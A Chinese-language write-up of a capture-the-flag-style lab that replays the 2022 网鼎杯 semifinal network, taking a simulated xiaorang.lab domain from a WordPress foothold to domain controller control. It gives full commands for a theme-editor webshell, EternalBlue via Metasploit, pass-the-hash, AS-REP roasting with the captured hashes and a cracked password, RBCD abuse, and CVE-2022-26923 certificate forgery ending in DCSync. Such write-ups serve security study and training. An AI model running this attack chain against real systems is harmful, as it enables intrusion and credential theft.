文章

春秋云镜-2022网鼎杯半决赛复盘

春秋云镜-2022网鼎杯半决赛复盘

flag1

1775391299343

开始先用fscan扫一下

访问发现是个wordpress,wpscan一下

1
wpscan --url http://39.99.132.121/

1775391371925

版本为6.2.6,后台弱密码admin/123456登录,由于存在theme file editor,因此可以写马 随便找一个php文件,写入木马.

1775391343312

1775391466431

使用蚁剑连接,路径之前wpscan给出来了.

1775391521867

得到flag

1775391552342

flag2

直接vshell上线

查ip,扫内网

1775392422751

1775392734040

扫出内网的四台机子

1
2
3
4
5
6
7
8
目标主机: 172.22.15.18
主机名: XR-CA
目标主机: 172.22.15.24
主机名: XR-WIN08
目标主机: 172.22.15.13
主机名: XR-DC01
目标主机: 172.22.15.35
主机名: XR-0687

172.22.15.24扫出来有MS17-010(永恒之蓝)漏洞

那直接用msf来打

1
2
3
4
5
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.15.24
exploit

msf的shell有点问题,打了好久没有通

用msf读个flag

1775585152877

也可以用hashdump拿到哈希

1775585227649

拿到hash可以用psexec横向移动

Administractor的NTLM为0e52d03e9b939997401466a0ec5a9cbc,哈希横传登录一下,注意由于脚本设计问题,所以需要把前面的:带上

1
proxychains4 python3 psexec.py administrator@172.22.15.24 -hashes ':0e52d03e9b939997401466a0ec5a9cbc' -codec gbk

1775585334073

flag3

主机 172.22.15.24 (XR-WIN08) 上还有一个“ZDOO 全协同管理平台(然之协同)”,存在弱口令 admin/123456

1775586597078

以及一个 phpMyAdmin 服务,用户名密码在 phpstudy 中查看到 root/root@#123

1775586615042

导出找到的这些域用户账号和密文密码:

1775586647983

有两个 hash 可以在 somd5 上解出密码:

1775586672827

收集到的域用户账号:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
lixiuying@xiaorang.lab
jiaxiaoliang@xiaorang.lab
wanglihong@xiaorang.lab
huachunmei@xiaorang.lab
zhangxinyu@xiaorang.lab
huzhigang@xiaorang.lab
lihongxia@xiaorang.lab
wangyulan@xiaorang.lab
chenjianhua@xiaorang.lab
zhangyi@xiaorang.lab
zhangli@xiaorang.lab
zhangwei@xiaorang.lab
liuqiang@xiaorang.lab
wangfang@xiaorang.lab
wangwei@xiaorang.lab
lixiaoliang@xiaorang.lab
wanghao@xiaorang.lab

我们猜测机子未开启预身份验证

原理:Kerberos 预认证默认是必须的,但如果某个账户关闭了预认证UF_DONT_REQUIRE_PREAUTH),攻击者无需密码就能让 KDC 返回用该用户密码加密的 AS-REP 响应,然后离线爆破。

1
2
AS-REP Roasting是一种对用户账户进行离线爆破的攻击方式。但是该攻击方式使用上比较受限,因为其需要用户账户设置不要求Kerberos 预身份验证选项,而该选项默认是没有勾选的。Kerberos 预身份验证发生在 Kerberos 身份验证的第一阶段(AS_REQ&AS REP),它的主要作用是防止密码离线爆破。默认情况下,预身份验证是开启的,KDC 会记录密码错误次数,防止在线爆破。
当关闭了预身份验证后,攻击者可以使用指定用户向域控制器的 Kerberos 88 端口请求票据,此时域控不会进行任何验证就将 TGT 和该用户 Hash 加密的 Login Session Key 返回。因此,攻击者就可以对获取到的用户 Hash 加密的 Login Session Key 进行离线破解,如果字典够强大,则可能破解得到该指定用户的明文密码。

接下来使用 AS-REP Roasting 攻击,尝试获取域用户密码加密的 AS-REP 响应:

1
proxychains4 -q impacket-GetNPUsers xiaorang.lab/ -dc-ip 172.22.15.13 -usersfile users.txt -format hashcat

拿到了两个用户的TGT票据

1
2
3
$krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB:91e6b6e8eca3c81e9ebc041af6fbe6c9$b1de5c61b73c01359b467a40d0ddf8819234b3f383462eec85dc510eb1c3af9ce6718c33a510a131874bea7e2f2651d7d3de029cdb2c6b6e762bebda4756af475bd4c6c06db8ba3944b1608a5e9e7c2bb312db138301a28abc71b8d6cff4e4dfca8e31746d8b1856fc3e3234526bf2b183b79b6b21da685d3db4466505164f8e8e1a5290cabb7ba03c87406fa6eb4c24328f0e40af722bddffb95dff6fb23f1efeb23d0c491d1462c09e952c2783ca3f9ff8bc3b1b8c065df2e7e179801242b1e1643d639b4c2a56ca7fda7df124689b4af63b6ddc30a07299cac1a8b45fe23a3e0ec5078c16ae75880f9ae8

$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:9159559ba318af794bad4ac369b60a1e$2dd93a8a64ff9e932b1707c3e2fbdd379ced93ffb975f5d7dd52b728e0f7dd0c0ea0cc7ffb924897a1a6c1bee062e1b2fb25431f45f4b44ad73a390269d5c5df8b74591b07db87cb22d0de7c5540996343304336da5b11c412b1613b8b2b59c774ce1c6cc99556b0c63484533be7790a058c994b3c9be8fdc780ff9ab5a1e0a0f2c560665dd221335baadb5eca7577290085079fe8cd9da81d7bcaae840133efad3de3698e4e43a617d0d8d9fcb981f9184f2ac639a65640774d409453ab4754d8107d89c12c1a41acf1b23c9bbcc8ec35743b746936a8d34ea3c031b274058826d48ee5ae7f954cb01770ac

用hashcat和kali自带的字典 rockyou 爆破一下

1
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt --show

1775587630694

成功登上 172.22.15.35

1775587665772

先用bloodhound信息收集一手

1
proxychains4 -q python3 bloodhound.py -u lixiuying -p winniethepooh -d xiaorang.lab -dc XR-DC01.xiaorang.lab -c all --dns-tcp -ns 172.22.15.13 --auth-method ntlm --zip

1775587746887

发现lixiuying对XR-0687具有GenericWrite权限,即可以修改该机器账户的任意属性,能打RBCD

可以通过修改目标的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性(配置 RBCD)获取目标 SYSTEM 权限

RBCD(基于资源的约束委派)原理

如果机器 A 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性里写了机器 B,那么 B 就可以以任意用户身份申请访问 A 的票据(S4U2Proxy)

攻击步骤:

1
2
3
4
5
6
7
① 用 lixiuying 创建一个恶意机器账户 EVILCOMPUTER$
       ↓
② 修改 XR-0687$ 的 RBCD 属性,写入 EVILCOMPUTER$
       ↓
③ 用 EVILCOMPUTER$ 申请冒充 Administrator 访问 XR-0687 的服务票据
       ↓
④ PTT(Pass The Ticket)→ psexec 登录 → SYSTEM

添加一个机器用户:

使用新建机器账户而不是 lixiuying 本身的原因是:S4U2Proxy 协议要求发起委派的必须是机器账户或配置了委派的服务账户,普通用户账户不行。

1
proxychains4 -q impacket-addcomputer -computer-name 'hunsil$' -computer-pass 'Abc123456' -dc-host XR-DC01.xiaorang.lab -dc-ip 172.22.15.13 "xiaorang.lab/lixiuying:winniethepooh"

配置RDBC

1
proxychains4 -q impacket-rbcd xiaorang.lab/lixiuying:winniethepooh -action write -delegate-from "hunsil$" -delegate-to "XR-0687$" -dc-ip 172.22.15.13

使用 impacket工具的getST执行基于资源的约束性委派工具并获取拥有访问XR-0687机器上的GIFS服务的高权限票据

1
proxychains4 -q impacket-getST xiaorang.lab/hunsil$:'Abc123456' -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13

导入票据(使用 Kerberos 票据认证

1
export KRB5CCNAME=Administrator.ccache

接下来psexec连主机就好了

1
proxychains4 -q impacket-psexec 'xiaorang.lab/administrator@XR-0687.xiaorang.lab' -target-ip 172.22.15.35 -codec gbk -no-pass -k

1775674520475

flag4(CA漏洞)

CVE-2022-26923

1775674833238

1775674850717

漏洞原理:AD CS(证书服务)在颁发机器证书时,用 dNSHostName 属性来标识是哪台机器。如果你创建一个机器账户并把 dNSHostName 改成域控的 FQDN,AD CS 会颁发一张”域控的证书”给你,再用这张证书认证就能冒充域控。

攻击步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
① certipy 创建机器账户 EVILCOMPUTER2$
   dNSHostName 设为 XR-DC01.xiaorang.lab(指向域控!)
       ↓
② 向 AD CS 申请 Machine 模板证书
   → 拿到域控的证书 xr-dc01.pfx
       ↓
③ 用这张证书认证到 LDAPS(Kerberos PKINIT 失败,走 Secure Channel)
   + 再做一次 RBCD,让 EVILCOMPUTER2$ 可以冒充域控
       ↓
④ getST 冒充 Administrator 申请 LDAP 服务票据
       ↓
⑤ DCSync → 导出域控 Administrator 的 NTLM Hash
       ↓
⑥ PTH/PTT 直接 psexec 登录域控 → SYSTEM

前面扫内网发现目标主机: 172.22.15.18,主机名: XR-CA,可能会打这个CVE

1
proxychains4 -q ~/.local/bin/certipy find -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -vulnerable -stdout

1775400608370

1
2
certipy find       ← 当前这步,侦察阶段
→ 确认 CA 存在,获取 CA 名称 xiaorang-XR-CA-CA
1
proxychains4 -q certipy account create -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -user 'EVILCOMPUTER2$' -pass '123@#ABC' -dns 'XR-DC01.xiaorang.lab'

1775400876791

-dns 'XR-DC01.xiaorang.lab'

这是 CVE-2022-26923 的核心!

将新建机器账户的 dNSHostName 属性设置为域控的 FQDN

正常情况应该是:

1
EVILCOMPUTER2$ 的 dNSHostName = EVILCOMPUTER2.xiaorang.lab

攻击者故意改成:

1
EVILCOMPUTER2$ 的 dNSHostName = XR-DC01.xiaorang.lab  ← 伪造成域控!
1
proxychains4 -q certipy req -u EVILCOMPUTER2\$@xiaorang.lab -p '123@#ABC' -target 172.22.15.18 -ca "xiaorang-XR-CA-CA" -template Machine//申请证书

1775401883460

1
proxychains4 -q certipy auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13 -debug

PKINIT 原理:

1
2
3
4
5
6
正常 Kerberos 认证:用密码 Hash 加密
PKINIT 认证:      用证书(公私钥)代替密码
        ↓
理论上拿到 xr-dc01.pfx
→ 用证书向 KDC 证明"我是 XR-DC01$"
→ KDC 返回域控机器账户的 TGT

使用 certipy 请求 TGT 失败,出现 KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type) 错误。

注:尝试通过 Secure Channel 将证书认证到 LDAPS,放弃使用 Kerberos PKINIT

为什么 Kerberos PKINIT 失败? 域控不支持 PKINIT(证书认证 TGT)这个 padata 类型,所以 certipy auth 报错。绕过方式是换用 bloodyAD 通过Schannel(LDAPS/SSL)认证通道直接做 RBCD,不走 Kerberos 认证这条路。

bloodyAD 使用证书进行认证,配置 RBCD 进行攻击:

1
certipy cert -pfx xr-dc01.pfx > xr-dc01.pem

为什么要转换格式

1
2
PFX  → Windows 工具使用(certipy auth、Windows 原生)
PEM  → Linux 工具使用(bloodyAD、openssl 等)

上一步 PKINIT 失败,改用 bloodyAD 通过 LDAPS 认证,而 bloodyAD 是 Linux 工具,只接受 PEM 格式,所以必须转换:

1
2
3
4
5
6
7
certipy req → xr-dc01.pfx(PFX格式)
                    ↓
certipy cert 转换   ← 当前这步
                    ↓
             xr-dc01.pem(PEM格式)
                    ↓
bloodyAD -c ':xr-dc01.pem' 使用
1
proxychains4 -q bloodyAD -d xiaorang.lab -u 'EVILCOMPUTER2$' -c ':xr-dc01.pem' --host 172.22.15.13 --secure add rbcd 'xr-dc01$' 'EVILCOMPUTER2$'

bloodyAD

专门通过 LDAP/LDAPS 操作 AD 对象属性的工具,支持证书认证,是 PKINIT 失败后的替代方案。

和 impacket-rbcd 的区别:

工具认证方式协议
impacket-rbcd密码/HashLDAP
bloodyAD证书(PEM)LDAPS(SSL)

请求并冒充域管权限的服务票据:

1
2
proxychains4 -q impacket-getST 'xiaorang.lab/EVILCOMPUTER2$:123@#ABC' -spn LDAP/xr-dc01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

DCSync 从域控导出凭据:

1
export KRB5CCNAME=Administrator.ccache
1
proxychains4 -q impacket-secretsdump 'xiaorang.lab/administrator@XR-DC01.xiaorang.lab' -target-ip 172.22.15.13 -no-pass -k -just-dc-user Administrator

PTH 登录域控:

1
2
proxychains4 -q impacket-psexec 'xiaorang.lab/administrator@XR-DC01.xiaorang.lab' -target-ip 172.22.15.13 -codec gbk -no-pass -k
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

1775674480470

理解:

修改属性后申请到的其实是域控机器账号的 TGT,然后你用这个 TGT 去委派(S4U)出了 Administrator 的 ST,最后才完成了 DCSync。

参考文章: https://blog.xrntkk.top/post/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-%E7%BD%91%E9%BC%8E2022%E5%A4%8D%E7%9B%98-writeup/

本文由作者按照 CC BY 4.0 进行授权